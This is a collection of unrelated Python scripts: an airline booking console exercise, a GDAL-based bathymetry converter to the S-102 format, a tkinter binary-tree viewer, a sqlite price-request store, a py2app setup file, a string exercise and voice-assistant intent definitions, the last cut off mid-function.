from inspect import getframeinfo, stack

def debuginfo(message):
    caller = getframeinfo(stack()[1][0])
    print("%s:%d - %s" % (caller.filename, caller.lineno, message)) # python3 syntax print

flyingclass = {
'first_class': {
    "seats": {('A', 'D'): 0, ('B', 'C'): 0},
    "meal": {'luxury_menu1': 0, 'luxury_menu2': 0, 'luxury_menu3': 0 },
    "legroom": {(): 0},
    "lines": {(1, 4): 4000},
    "luggage": {'limit': None , 'price': 0}
    },

'business': {
    "seats": {('A', 'D'): 55, ('B', 'C'): 0},
    "meal": {'luxury_menu1': 42, 'luxury_menu2': 42, 'luxury_menu3': 42, 'business': 0},
    "legroom": {(): 0},
    "lines": {(5, 7): 3000, (8, 10): 2300},
    "luggage": {'limit': 50,  'price': 10}
    },

'economy': {
    "seats": {('A', 'F'): 10, ('B', 'C', 'D', 'E'): 0},
    "meal": {'luxury_menu1': 42, 'luxury_menu2': 42, 'luxury_menu3': 42, 'business_menu': 22, 'economy_menu': 7},
    "lines": {(11, 20): 1700,
              (21, 40): 1500,
              (41,60): 1200},
    "legroom": {(12, 22, 42): 15 },
    "luggage": {'limit': 20,  'price': 10},
    "luxury": {'luxury_menu1' : 'STARTER - Roast veal sweetbread, MAIN    - Cornish turbot,  DESERT  - Hazelnut souffle '  ,
               'luxury_menu2' : 'STARTER - Ravioli lobster , MAIN    - 100-Day aged Cumbrian Blue Grey,  DESERT  - Pecan praline ' ,
               'luxury_menu3' : 'STARTER - Scallops from the Isle of Skye , MAIN    - Aynhoe Park fallow deer,  DESERT  - Caramelised apple Tarte Tatin '}}}

luxury_menu1_exp = 'STARTER - Roast veal sweetbread , MAIN    - Cornish turbot,  DESERT  - Hazelnut souffle '
luxury_menu2_exp = 'STARTER - Ravioli lobster , MAIN    - 100-Day aged Cumbrian Blue Grey,  DESERT  - Pecan praline'
luxury_menu3_exp = 'STARTER - Scallops from the Isle of Skye , MAIN    - Aynhoe Park fallow deer,  DESERT  - Caramelised apple Tarte Tatin '

def get_class_name() -> str:
    classtopick = list(flyingclass.keys())
    while True:
        print(f" we have these classes you can pick from:{classtopick}")
        class_chosen = input('please select a class: ')
        if class_chosen in classtopick:
            print (f" great {name}, you chose: {class_chosen} class")
            return class_chosen
        else:
            print('error, choose again')

def meal(my_chosen_class:str) -> tuple:

#add lux explenations to menu
    lux_keys = list(flyingclass.get(my_chosen_class).get('luxury').keys())
    lux_ops = flyingclass.get(my_chosen_class).get('luxury')
#the names of the list of all meals: meals_key (menuluxury1,2 etc.)
    meals_key = list(flyingclass.get(my_chosen_class).get('meal').keys())
    #meals_options = the tuple of the meal name and price
    meals_options = flyingclass.get(my_chosen_class).get('meal')
    print(f'in {my_chosen_class} class you can choose from these menues, if you wish to have a luxury menu by chef Gordon Ramzi, \n '
          f'please see the luxury menues bellow: ')
    print(lux_ops)
    for i in range(1,len(meals_key)+1):
        meal_name = meals_key[i-1]
        meal_price = meals_options.get(meal_name)

        print(f" {i}  {meal_name} price {meal_price}$")
        # if meal_name in lux_keys:
        #     print(flyingclass.get(my_chosen_class).get('luxury').values())
    while True:
        meal_chosen = int(input('please pick a meal number from the list above: '))
        if meal_chosen > 0 and meal_chosen <= len(meals_key):
            meal_user_chose = meals_key[meal_chosen-1]
            meal_user_price =  meals_options.get(meal_user_chose)
            print(f'great choice, {name}, you chose {meal_user_chose} and the price for it is: {meal_user_price}$')
            return (meal_user_chose, meal_user_price)
        print ('error, please type again the number of menu: ')

def lines(my_chosen_class:str) -> tuple:
    legroom_ops = flyingclass.get(my_chosen_class).get('legroom')
    legroom_list = list(legroom_ops.keys())
    lines_opt = flyingclass.get(my_chosen_class).get('lines')
    lines_list = list(lines_opt)
    while True:
        print(f" these are the lines you can choose from in {my_chosen_class}, {lines_opt}:")
        print("lenlust ",legroom_list)
        if(legroom_list != [()]):
            print(f" these are the legroom lines {legroom_ops}:")
        line_chosen = int(input('please choose a line: '))
        found = False
        for key in lines_list:
            if(line_chosen >= key[0] and line_chosen <= key[1]):
                line_price = lines_opt.get(key)
                found = True
                print('key ',key,'val ',line_price)

                print(f" you chose line number:{line_chosen}  ")
                for item in legroom_list:
                    if line_chosen in item:
                        line_price += legroom_ops.get(item)
                        print(f"this line costs 15$ more,  line:{line_chosen} price:{line_price}")
                        break
                break
        if(not found):
            print("Wrong selection")
            continue

        print(line_price)
        return (line_chosen,line_price)

##extra leg room in economy class

def seats (my_chosen_class:str) -> tuple:
    while True:
        seats_op = flyingclass.get(my_chosen_class).get('seats')
        print(seats_op)
        seat_chosen = input('please choose a seat: ')
        for key, v2 in seats_op.items():
            seat_cost = v2
            print(f" the fee for this seat is:{seat_cost}$")
            return (seat_chosen, seat_cost)

def luggage(my_class):
    while True:
        lug_extra = 0
        isluggage = input('would you like to add any luggage? type y/n: ')
        if isluggage == 'n':
            return lug_extra
        if isluggage == 'y':
            while True:
                lug_lim = flyingclass[my_class]['luggage']['limit']
                lug_ex_price = flyingclass[my_class]['luggage']['price']
                print(f'your limit is {lug_lim} and the cost for every extra kg is {lug_ex_price}')

                if my_class != 'first_class':
                    luggage_w = int(input('what is the weight of you luggage? '))
                    if luggage_w > lug_lim:
                        lug_extra += (luggage_w - lug_lim) * (lug_ex_price)
                print(f"the total fee for your luggage is:{lug_extra}")
                return lug_extra

def prRed(skk): print("\033[91m {}\033[00m".format(skk))

def prGreen(skk): print("\033[92m {}\033[00m".format(skk))

def prYellow(skk): print("\033[93m {}\033[00m".format(skk))

def prLightPurple(skk): print("\033[94m {}\033[00m".format(skk))

def prPurple(skk): print("\033[95m {}\033[00m".format(skk))

def prCyan(skk): print("\033[96m {}\033[00m".format(skk))

if __name__ == "__main__":

    print('economy',lines('economy'))
    print('business',lines('business'))
    exit()

    prPurple("------WELCOME TO NOA'S AIRLINES------")
    name:str = input('please enter your name')
    destination = input('where are we flying to?')
    my_class = get_class_name()
    meal_user_price_and_name = meal(my_class)
    line_price = lines(my_class)
    seat_cost = seats(my_class)
    lug_extra = luggage(my_class)

    print(f" meal = {meal_user_price_and_name[0]} price = {meal_user_price_and_name[1]}")


import os
from osgeo import gdal, osr
import tempfile
import pprint
import logging

import numpy

from .api import S102File, DEPTH, UNCERTAINTY
from . import utils
from fuse.raw_read.noaa import bag  # this is from NBS (National Bathymetric Source)

def sr_bag_to_s102(input_bag, output_path=""):
    try:
        os.remove(output_path+".auto_epsg.h5")
    except FileNotFoundError:
        pass
    utils.from_gdal(input_bag, output_path+".auto_epsg.h5")

    utils.from_bag(input_bag, output_path)

def old_sr_bag_to_s102(input_bag, output_path=""):
    use_gdal = True
    use_hdf5 = False
    use_fuse = True

    if not output_path:
        output_path = input_bag + ".s102.h5"
    if use_gdal:
        bagfile = gdal.Open(input_bag)
        nx, ny = bagfile.RasterXSize, bagfile.RasterYSize
        raster_band = bagfile.GetRasterBand(1)
        uncertainty_band = bagfile.GetRasterBand(2)
        raster_band.XSize, raster_band.YSize
        bagfile.GetProjection()
        bagfile.GetMetadata()
        epsg = osr.SpatialReference(bagfile.GetProjection()).GetAttrValue("AUTHORITY", 1)
        bagfile.GetMetadataDomainList()  # ['', 'IMAGE_STRUCTURE', 'DERIVED_SUBDATASETS', 'xml:BAG']
        meta_dict = bagfile.GetMetadata_Dict("xml:BAG")
        print(meta_dict)

    if use_hdf5:
        import h5py
        import xml
        hdf_bag = h5py.File(input_bag)
        meta = hdf_bag["BAG_root/metadata"]
        meta_xml = b"".join(meta)
        et_xml = xml.etree.ElementTree.fromstring(meta_xml)
        logging.debug(meta_xml.decode("UTF-8").replace("\\n", "\n"))

        def dumpxml(e, indent=0):
            for i, c in enumerate(e):
                print(indent * "\t", i, c)
                dumpxml(c, indent + 1)

        dumpxml(et_xml)
        # print(et_xml.findall('.//CharacterString'))

    if use_fuse:
        fuse_bag = bag.BAGSurvey("")
        meta_gdal, bag_version = fuse_bag._parse_bag_gdal(input_bag)
        meta_bagxml = fuse_bag._parse_bag_xml(input_bag, bag_version)
        print(bag_version)
        pprint.pprint(meta_gdal)
        pprint.pprint(meta_bagxml)

    depth_raster_data = raster_band.ReadAsArray()
    depth_nodata_value = raster_band.GetNoDataValue()
    uncertainty_raster_data = uncertainty_band.ReadAsArray()

    sfile = S102File(output_path, "w", driver=None)
    sfile.create_empty_metadata()  # init the root with a fully filled out empty metadata set
    root = sfile.root
    del root.feature_information.feature_code  # Guessing at the right dataset name to keep (keep featureName)
    # root.feature_information.feature_code_remove()
    root.product_specification = "INT.IHO.S-102.2.0.0"
    root.metadata = os.path.splitext(os.path.basename(output_path))[0] + ".xml"
    root.vertical_datum = meta_bagxml['from_vert_datum']

    bathy_cov_dset = root.feature_information.bathymetry_coverage_dataset
    bathy_depth_info = bathy_cov_dset.append_new_item()  # bathy_cov_dset.append(bathy_cov_dset.metadata_type())
    bathy_depth_info.initialize_properties(True)
    bathy_depth_info.code = DEPTH
    bathy_depth_info.name = DEPTH
    # these are auto-filled by the api
    # bathy_depth_info.unit_of_measure="metres"
    # bathy_depth_info.fill_value=1000000.0
    # bathy_depth_info.datatype=H5T_NATIVE_FLOAT
    # bathy_depth_info.lower = -12000
    # bathy_depth_info.upper = 12000
    # bathy_depth_info.closure = "closedInterval"

    bathy_uncertainty_info = bathy_cov_dset.append_new_item()
    bathy_uncertainty_info.initialize_properties(True)
    bathy_uncertainty_info.code = UNCERTAINTY
    bathy_uncertainty_info.name = UNCERTAINTY

    # I'm not sure what to put here, yet
    tracking_cov = root.feature_information.tracking_list_coverage

    track_info = tracking_cov.append_new_item()  # append(tracking_cov.metadata_type())
    track_info.initialize_properties(True)
    track_info.code = "X"
    track_info.name = "X"
    track_info.unit_of_measure = "N/A"

    track_info = tracking_cov.append_new_item()
    track_info.initialize_properties(True)
    track_info.code = "Y"
    track_info.name = "Y"
    track_info.unit_of_measure = "N/A"

    track_info = tracking_cov.append_new_item()
    track_info.initialize_properties(True)
    track_info.code = "originalValue"
    track_info.name = "Original Value"

    track_info = tracking_cov.append_new_item()
    track_info.initialize_properties(True)
    track_info.code = "trackCode"
    track_info.name = "Track Code"
    track_info.unit_of_measure = "N/A"

    track_info = tracking_cov.append_new_item()
    track_info.initialize_properties(True)
    track_info.code = "listSeries"
    track_info.name = "List Series"
    track_info.unit_of_measure = "N/A"

    root.bathymetry_coverage.axis_names = numpy.array(["longitude", "latitude"])  # row major order means X/longitude first
    root.bathymetry_coverage.common_point_rule = 1  # average
    # root.bathymetry_coverage.data_coding_format = 2  # default
    # root.bathymetry_coverage.dimension = 2  # default value
    root.bathymetry_coverage.sequencing_rule_scan_direction = "Longitude, Latitude"
    root.bathymetry_coverage.interpolation_type = 1  # nearest neighbor
    root.bathymetry_coverage.num_instances = 1  # how many Bathycoverages
    root.bathymetry_coverage.sequencing_rule_type = 1  # linear
    del root.bathymetry_coverage.time_uncertainty

    bathy_01 = root.bathymetry_coverage.bathymetry_coverage.append_new_item()
    bathy_01.initialize_properties(True)

    # @todo @fixme
    print("Need to determine if projected coords or not - assuming UTM right now")
    minx = meta_bagxml['lon_min']
    maxx = meta_bagxml['lon_max']
    miny = meta_bagxml['lat_min']
    maxy = meta_bagxml['lat_max']

    minx = min([meta_bagxml['bounds'][0][0], meta_bagxml['bounds'][1][0]])
    maxx = max([meta_bagxml['bounds'][0][0], meta_bagxml['bounds'][1][0]])
    miny = min([meta_bagxml['bounds'][0][1], meta_bagxml['bounds'][1][1]])
    maxy = max([meta_bagxml['bounds'][0][1], meta_bagxml['bounds'][1][1]])

    root.east_bound_longitude = minx
    root.west_bound_longitude = maxx
    root.south_bound_latitude = miny
    root.north_bound_latitude = maxy
    bathy_01.east_bound_longitude = minx
    bathy_01.west_bound_longitude = maxx
    bathy_01.south_bound_latitude = miny
    bathy_01.north_bound_latitude = maxy
    bathy_01.grid_origin_latitude = miny

    bathy_01.grid_origin_longitude = minx
    bathy_01.grid_origin_latitude = miny
    bathy_01.grid_spacing_longitudinal = meta_bagxml["res"][0]
    bathy_01.grid_spacing_latitudinal = meta_bagxml["res"][1]
    del bathy_01.grid_spacing_vertical
    del bathy_01.grid_origin_vertical
    bathy_01.num_grp = 1

    bathy_group_object = bathy_01.bathymetry_group.append_new_item()
    # bathy_group_object.initialize_properties()  # Not creating everything as I'm not sure if the grid attributes shoul dbe thereTrue)
    print(bathy_group_object.get_standard_properties())
    # @todo  @FIXME
    print("need to determine if this is degrees/metres and set axisNames accordingly")
    # bathy_group_object.axis_names = numpy.array(["longitude", "latitude"])  # row major order means X/longitude first
    # use default dimension =2

    print("fix here -- row/column order?")
    nx, ny = meta_bagxml['shape']

    bathy_01.num_points_latitudinal = ny
    bathy_01.num_points_longitudinal = nx
    del bathy_01.num_points_vertical
    bathy_01.start_sequence = "0,0"
    del bathy_01.vertical_extent_maximum_z
    del bathy_01.vertical_extent_minimum_z

    bathy_group_object.extent_create()
    bathy_group_object.extent.initialize_properties(True)
    bathy_group_object.extent.low.coord_values[0:2] = [0, 0]
    bathy_group_object.extent.high.coord_values[0:2] = [nx, ny]

    depth_max = depth_raster_data[depth_raster_data != depth_nodata_value].max()
    depth_min = depth_raster_data[depth_raster_data != depth_nodata_value].min()
    bathy_group_object.maximum_depth = depth_max
    bathy_group_object.minimum_depth = depth_min

    uncertainty_max = uncertainty_raster_data[uncertainty_raster_data != depth_nodata_value].max()
    uncertainty_min = uncertainty_raster_data[uncertainty_raster_data != depth_nodata_value].min()
    bathy_group_object.minimum_uncertainty = uncertainty_min
    bathy_group_object.maximum_uncertainty = uncertainty_max
    bathy_group_object.dimension = 2

    bathy_group_object.origin_create()
    bathy_group_object.origin.initialize_properties(True)
    bathy_group_object.origin.dimension = 2
    bathy_group_object.origin.coordinate = numpy.array([minx, miny])

    bathy_group_object.values_create()
    grid = bathy_group_object.values
    # @todo -- need to make sure nodata values are correct, especially if converting something other than bag which is supposed to have the same nodata value
    grid.depth = depth_raster_data
    grid.uncertainty = uncertainty_raster_data

    print("hard coding datum for now")
    # @todo @fixme hardcoded stuff....
    root.horizontal_datum_reference = "EPSG"
    root.horizontal_datum_value = 32611
    root.epoch = "G1762"  # this is the 2013-10-16 WGS84 used by CRS
    root.geographic_identifier = "Long Beach, CA"
    root.issue_date = meta_bagxml['date_stamp']  # datetime.date.today().isoformat()

    sfile.write()

def NAVO_convert_bag(bag_path, output_path, path_to_convertor=".\\BAG_to_S102.exe", buffer=False):
    import subprocess
    cmd = '"' + path_to_convertor + '" "' + bag_path + '" "' + output_path + '"'
    print(cmd)
    if buffer:
        std_out = tempfile.TemporaryFile()  # deleted on exit from function
        std_err = tempfile.TemporaryFile()
    else:
        std_out = None
        std_err = None
    p = subprocess.Popen(cmd, stdout=std_out, stderr=std_err)
    p.wait()
    if buffer:
        std_out.seek(0)
        std_err.seek(0)
        out = std_out.read()
        err = std_err.read()
        print(out)
        print(err)


from tkinter import *
from arvore import Arvore

class Application():
    def __init__(self):
        self.arvore = Arvore()

        self.root = Tk()
        self.tela()
        self.create_frames()
        self.create_canvas()
        self.create_menu()
        self.root.mainloop()

    def tela(self):
        #função que determina o tamanho da tela do programa e coloca um título
        self.screen_width = self.root.winfo_screenwidth()
        self.screen_height = self.root.winfo_screenheight()
        self.root.geometry(f'{int(self.screen_width*0.78)}x{int(self.screen_height*0.78)}+{10}+{10}')
        self.root.title('Arvore binária')

    def create_frames(self):
        #função que cria dois frames, um para o menu e outro para o canvas
        self.framemenu = Frame(self.root, bg='#fff')
        self.framemenu.place(relx=0, rely=0, relwidth=0.2, relheight=1)
        self.framecanvas = Frame(self.root)
        self.framecanvas.place(relx=0.2, rely=0, relwidth=0.8, relheight=1)

    def create_canvas(self):
        #função que cria o canvas com as barras de rolagem vertical e horizontal
        self.canvas = Canvas(self.framecanvas, bg='#fff')
        self.canvas.place(relx=0, rely=0, relwidth=0.9823, relheight=0.975)
        self.scroll_x = Scrollbar(self.framecanvas, orient="horizontal", command=self.canvas.xview)
        self.scroll_x.place(relx=0, rely=0.975, relwidth=0.9823, relheight=0.025)
        self.scroll_y = Scrollbar(self.framecanvas, orient="vertical", command=self.canvas.yview)
        self.scroll_y.place(relx=0.9823, rely=0, relwidth=0.0177, relheight=1)
        self.canvas.configure(yscrollcommand=self.scroll_y.set, xscrollcommand=self.scroll_x.set)

    def create_menu(self):
        #função que cria o menu
        self.entrada = Entry(self.framemenu, font=('arial',25), justify='center')
        self.entrada.place(relx=0, rely=0, relwidth=1, relheight=0.05)
        self.entrada.focus()

        self.adicionar = Button(self.framemenu, text='Adicionar', font=('arial', 15), command=self.adicionar_node)
        self.adicionar.place(relx=0, rely=0.05, relwidth=0.5, relheight=0.05)
        self.root.bind('<Return>',self.adicionar_node)

        self.remover = Button(self.framemenu, text='Remover', font=('arial', 15), command=self.remover_node)
        self.remover.place(relx=0.5, rely=0.05, relwidth=0.5, relheight=0.05)

        self.resetar = Button(self.framemenu, text='Resetar', font=('arial', 15), command=self.resetar_canvas)
        self.resetar.place(relx=0, rely=0.1, relwidth=1, relheight=0.05)

        self.entradaprocurar = Entry(self.framemenu, font=('arial',25), justify='center')
        self.entradaprocurar.place(relx=0, rely=0.25, relwidth=1, relheight=0.05)

        self.botaoprocurar = Button(self.framemenu, text='Procurar nó', font=('arial', 15), command=self.buscar_node_mostrar_info)
        self.botaoprocurar.place(relx=0, rely=0.3, relwidth=1, relheight=0.05)

        self.areainfo = Text(self.framemenu, font=('arial', 15))

    def buscar_node_mostrar_info(self):
        #função que mostra as informações de um nó caso ele exista
        numero = self.entradaprocurar.get()
        if numero.lstrip('-').isnumeric():
            numero = int(numero)
            node = self.arvore.procurar_node(numero, self.arvore.raiz)
            if node:
                self.areainfo.place(relx=0, rely=0.35, relwidth=1, relheight=0.15)
                self.areainfo.delete('1.0', END)
                eraiz = 'Não' if node.pai else 'Sim'
                efolha = 'Não' if node.esquerda or node.direita else 'Sim'
                self.areainfo.insert(INSERT, f'Valor: {node.conteudo}\n'
                                             f'Nível: {node.nivel}\n'
                                             f'É raiz? {eraiz}\n'
                                             f'É folha? {efolha}\n'
                                             f'Altura da árvore: {self.arvore.altura}')
            else:
                self.areainfo.place(relx=0, rely=0.35, relwidth=1, relheight=0.15)
                self.areainfo.delete('1.0', END)
                self.areainfo.insert(INSERT, 'Nó não encontrado')

    def resetar_canvas(self):
        #função que limpa o canvas e cria uma nova instancia de Arvore
        self.arvore = Arvore()
        self.canvas.delete('all')
        self.areainfo.delete('1.0', END)
        self.areainfo.place_forget()

    def remover_node(self):
        #função responsável por remover e ajustar os nós graficamente
        numero = self.entrada.get()
        if numero.lstrip('-').isnumeric():
            numero = int(numero)
            node = self.arvore.remove_node(numero)
            if node[0]:
                #se algum nó foi removido
                if node[1] == None:
                    #se o nó removido era folha
                    self.canvas.delete(node[0].idtext, node[0].idcircle, node[0].idline)
                    if node[0].pai:
                        #se o nó removido tem pai
                        if node[0].pai != self.arvore.raiz and not node[0].pai.esquerda and not node[0].pai.direita:
                            #se o pai do nó removido é diferente da raiz e pai do nó removido é folha
                            self.canvas.itemconfig(node[0].pai.idcircle, fill='green')
                    return
                self.canvas.delete(node[0].idtext, node[0].idcircle, node[0].idline)
                self.redesenhar_nodes(node[1], node[0])

    def redesenhar_nodes(self, node, nodeexcluido):
        #função que exclui e desenha novamente todos os nós abaixo do nó removido
        if node:
            self.canvas.delete(node.idtext, node.idcircle, node.idline)
            if node == self.arvore.raiz:
                #se o nó substituto é a raiz ele vai receber a cor preta
                node.idcircle = self.canvas.create_oval(node.x, node.y, node.x+80, node.y+80, fill='black')
                node.idtext = self.canvas.create_text(node.x+40, node.y+40, text=str(node.conteudo), fill="white", font=(f'Arial 25 bold'))
            else:
                #se o nó substituto não é a raiz
                node.idline = self.canvas.create_line(node.pai.x+40, node.pai.y+40, node.x+40, node.y+40, width=5)
                self.canvas.tag_lower(node.idline, node.pai.idcircle)
                if node.esquerda or node.direita:
                    #se o nó substituto tiver filho ele vai receber a cor marrom
                    node.idcircle = self.canvas.create_oval(node.x, node.y, node.x+80, node.y+80, fill='brown')
                else:
                    #se o nó substituto for folha ele vai receber a cor verde
                    node.idcircle = self.canvas.create_oval(node.x, node.y, node.x+80, node.y+80, fill='green')
                node.idtext = self.canvas.create_text(node.x+40, node.y+40, text=str(node.conteudo), fill="white", font=(f'Arial 25 bold'))
            self.redesenhar_nodes(node.esquerda, nodeexcluido)
            self.redesenhar_nodes(node.direita, nodeexcluido)

    def adicionar_node(self, event=None):
        #função que adiciona o nó graficamente
        numero = self.entrada.get()
        if numero.lstrip('-').isnumeric():
            numero = int(numero)
            if not self.arvore.raiz:
                #se a árvora ainda não tem nenhum elemento
                node = self.arvore.insert_node(numero)
                if node:
                    xbola = int((self.screen_width*0.78*0.9823*0.8)/2-40)
                    node.x = xbola
                    node.y = 10
                    node.idcircle = self.canvas.create_oval(node.x, node.y, node.x+80, node.y+80, fill='black')
                    node.idtext = self.canvas.create_text(node.x+40, node.y+40, text=str(node.conteudo), fill="white", font=(f'Arial 25 bold'))
                return
            node = self.arvore.insert_node(numero)
            if node:
                if node.pai != self.arvore.raiz:
                    #se o pai do nó adicionado não é a raiz ele recebe a cor marrom
                    self.canvas.itemconfig(node.pai.idcircle, fill='brown')
                mdistanciatemp = self.arvore.multiplicadordistancia-node.nivel+1
                if mdistanciatemp < 0:
                    mdistanciatemp = 0
                node.y = node.pai.y+80
                if node.orientacao == 'direita':
                    node.x = node.pai.x + (2**mdistanciatemp)*80
                else:
                    node.x = node.pai.x - (2**mdistanciatemp)*80
                node.idline = self.canvas.create_line(node.pai.x+40, node.pai.y+40, node.x+40, node.y+40, width=5)
                self.canvas.tag_lower(node.idline, node.pai.idcircle)
                node.idcircle = self.canvas.create_oval(node.x, node.y, node.x+80, node.y+80, fill='green')
                node.idtext = self.canvas.create_text(node.x+40, node.y+40, text=str(node.conteudo), fill="white", font=(f'Arial 25 bold'))
                if self.verifica_colisao(node, self.arvore.raiz):
                    #depois de inserido o novo nó se houver colisão com outro nó o espaço entre os nós será aumentado
                    self.arvore.multiplicadordistancia = node.nivel-1
                    self.aumentar_distancia(self.arvore.multiplicadordistancia+1, self.arvore.raiz)
                self.canvas.configure(scrollregion=self.canvas.bbox("all"))

    def aumentar_distancia(self, multiplicadordistancia, atual):
        #função que percorre os nós desde a raiz aumentando a distância entre eles de acordo com o fator multiplicadordistancia
        if atual:
            if atual.pai:
                if multiplicadordistancia < 0:
                    multiplicadordistancia = 0
                if atual.orientacao == 'direita':
                    xrelativo = atual.x
                    atual.x = atual.pai.x + (2**multiplicadordistancia)*80
                    xrelativo = atual.x - xrelativo
                else:
                    xrelativo = atual.x
                    atual.x = atual.pai.x - (2**multiplicadordistancia)*80
                    xrelativo = atual.x - xrelativo
                self.canvas.move(atual.idcircle, xrelativo, 0)
                self.canvas.move(atual.idtext, xrelativo, 0)
                self.canvas.delete(atual.idline)
                atual.idline = self.canvas.create_line(atual.pai.x+40, atual.pai.y+40, atual.x+40, atual.y+40, width=5)
                self.canvas.tag_lower(atual.idline, atual.pai.idcircle)
            self.aumentar_distancia(multiplicadordistancia-1, atual.esquerda)
            self.aumentar_distancia(multiplicadordistancia-1, atual.direita)

    def verifica_colisao(self, node, atual):
        #função que verifica se um nó colidiu com o outro retornando True se colidiu e False caso contrário
        if not atual:
            return False
        if self.verifica_colisao(node, atual.esquerda):
            return True
        if self.verifica_colisao(node, atual.direita):
            return True
        if atual.nivel == node.nivel:
            if atual.x == node.x and atual.idcircle != node.idcircle:
                return True
        return False

Application()


# -*- coding: utf-8 -*-
import sqlite3
from Models import StatisticModel
from Utils.JSON_Converter import JSON_Converter
import Utils.Float_Conv as flt
import Utils.DatesHandler as dh

class Requests:

    # добавление реквеста в базу
    @staticmethod
    def get_connection():
        return sqlite3.connect("DB/main.db")

    @staticmethod
    def add_request(request):
        with sqlite3.connect("DB/main.db") as dbc:
            Requests.add_request(dbc, request)

    @staticmethod
    def add_request(dbc, request):
        json_result = JSON_Converter.serialize(request)
        dbc.execute(
            'insert into requests (full_name, price, key_word_id, result) '
            'values (?, ?, (select id from key_words where word = ?), ?)',
            (request.full_name.lower(), request.price, request.key_word, json_result))
        dbc.commit()

    # возвращает список реквестов за последний день, добавленных по ключевому слову
    @staticmethod
    def get_last_day_requests_by_key_word(key_word):
        with sqlite3.connect("DB/main.db") as dbc:
            dbc.row_factory = lambda cursor, row: row[0]
            cursor = dbc.cursor()
            return cursor.execute(
                "select result from requests "
                "where key_word_id = (select id from key_words where word = ?) "
                "and julianday() - julianday(date) < 1",
                (key_word, )).fetchall()

    # возвращает список реквестов за последний день, содержащих в названии запрос пользователя
    @staticmethod
    def get_last_day_requests_by_search_word(search_word):
        with sqlite3.connect("DB/main.db") as dbc:
            cursor = dbc.cursor()
            db_result = cursor.execute(
                "select id, result from requests "
                "where full_name like '%'||?||'%' and julianday() - julianday(date) < 1",
                (search_word,)).fetchall()
            return db_result

    # возвращает статистику цен по дням по ключевому слову
    @staticmethod
    def get_price_statistics_history(key_word, days_count):
        with sqlite3.connect("DB/main.db") as dbc:
            cursor = dbc.cursor()
            db_result = cursor.execute(
                "select date(round(julianday(date))) dt, sum(price) / count() "
                "from requests "
                "where key_word_id = (select id from key_words where word = ?) "
                "and julianday() - julianday(date) < ? "
                "group by dt "
                "order by dt", (key_word, days_count)).fetchall()

            days = dh.get_all_dates_from_now(days_count)
            return dh.fill_data(days, db_result)


#!/usr/bin/env python2
# -*- coding: utf-8 -*-

"""
an_supplicant_GUI setup file.
ONLY FOR MAC OS!
Usage:
    cd /an_supplicant_gui_src
    py2applet --make-setup supplicant.py
    python setup.py py2app
"""

from setuptools import setup

APP = ['supplicant.py']
DATA_FILES = []
OPTIONS = {'argv_emulation': True}

setup(
    app=APP,
    data_files=DATA_FILES,
    options={'py2app': OPTIONS},
    setup_requires=['py2app'],
)


def main():
	num = int(input())
	my_list = []
	for i in range(num):
		del my_list[:]
		string = input()
		for character in string:
			my_list.append(character)
		sliced1 = my_list[0::2]
		str1 = ''.join(str(x) for x in sliced1)
		sliced2 = my_list[1::2]
		str2 = ''.join(str(x) for x in sliced2)
		print(str1 + " " + str2)

if __name__ == '__main__':
	main()


from padatious import IntentContainer

recording_container = IntentContainer("intent_cache")
recording_container.add_intent("oos", [])
recording_container.add_intent(
    "recording",
    ["start recording", "record this", "Record for {time}"],
)
recording_container.add_intent("stop", ["stop recording"])
recording_container.add_intent("erase", ["Erase recording", "remove recording"])
recording_container.train()

def audio_recorder(text, oos=[]):

    res = recording_container.calc_intent(text)
    prob = res.conf
    name = res.name
    if name == "recording":
        print("Saving recording for mic", res.matches)
    if name == "stop":
        print("stop recording from mic", res.matches)
    if name == "erase":
        print("erasing recording from mic", res.matches)
    if prob < 0.7:
        name = "oos"
    return name, prob

dismiss_ai_container = IntentContainer("intent_cache")
dismiss_ai_container.add_intent("oos", [])
dismiss_ai_container.add_intent(
    "dismiss", [" Nevermind", "Dismissed", "Forget it", "Go away"]
)
dismiss_ai_container.train()

def dismiss_ai(text, oos=[]):
    res = dismiss_ai_container.calc_intent(text)
    prob = res.conf
    name = res.name
    if name == "dismiss":
        print("Stopping interaction", res.matches)
    if prob < 0.7:
        name = "oos"
    return name, prob

date_container = IntentContainer("intent_cache")
date_container.add_intent("oos", [])
date_container.add_intent(
    "date",
    [
        "What time is it",
        "get the time",
        "get the date",
        "day of the week",
        "what day of the week is it",
        "what day is it",
    ],
)
date_container.train()

def question_time(text, oos=[]):
    res = date_container.calc_intent(text)
    prob = res.conf
    name = res.name
    if name == "date":
        print("Returning current date", res.matches)
    if prob < 0.7:
        name = "oos"
    return name, prob

news_container = IntentContainer("intent_cache")
news_container.add_intent("oos", [])
news_container.add_intent(
    "play_news",
    ["what's on the news", "tell me the news", "play the bbc news", "restart news"],
)
news_container.train()

def play_news(text, oos=[]):
    res = news_container.calc_intent(text)
    prob = res.conf
    name = res.name
    if name == "play_news":
        print("Playing news", res.matches)
    if prob < 0.7:
        name = "oos"
    return name, prob

alarm_container = IntentContainer("intent_cache")
alarm_container.add_intent("oos", [])
alarm_container.add_intent(
    "reminder",
    [
        "Set alarms",
        "Set an alarm for {time}",
        "Set reminders",
        "remind me to {object} at {time}",
        "set {repeating} timer for {time}",
    ],
)
alarm_container.add_intent("timer", ["set timer for {minutes}"])
alarm_container.train()

def set_alarm_reminder(text, oos=[]):
    res = alarm_container.calc_intent(text)
    prob = res.conf
    name = res.name
    if name == "reminder":
        print("creating alarm", res.matches)
    if name == "timer":
        print("Setting timer for", res.matches)
    if prob < 0.7:
        name = "oos"
    return name, prob

weather_container = IntentContainer("intent_cache")
weather_container.add_intent("oos", [])
weather_container.add_intent(
    "weather", ["what is the weather", "weather conditions and forecasts", "forecast"]
)
weather_container.train()

def weather_query(text, oos=[]):
    res = weather_container.calc_intent(text)
    prob = res.conf
    name = res.name
    if name == "weather":
        print("getting weather", res.matches)
    if prob < 0.7:
        name = "oos"
    return name, prob

random_container = IntentContainer("intent_cache")
random_container.add_intent("oos", [])
random_container.add_intent(
    "roll_dice",
    [
        "Roll the dice",
        "roll dice",
    ],
)
random_container.add_intent(
    "flip_coin",
    [
        "Flip a coin",
        "flip coin",
    ],
)
random_container.train()

def random_intent(text, oos=[]):
    res = random_container.calc_intent(text)
    prob = res.conf
    name = res.name
    if name == "roll_dice":
        print("rolling dice", res.matches)
    if name == "flip_coin":
        print("Flipping coin", res.matches)
    if prob < 0.7:
        name = "oos"
    return name, prob

play_music_container = IntentContainer("intent_cache")
play_music_container.add_intent("oos", [])
play_music_container.add_intent(
    "music", ["Play {song} from {event}", "play {song}", "list to {song}"]
)
play_music_container.train()

def play_music(text, oos=[]):
    res = play_music_container.calc_intent(text)
    prob = res.conf
    name = res.name
    if name == "music":
        print("playing music", res.matches)
    if prob < 0.7:
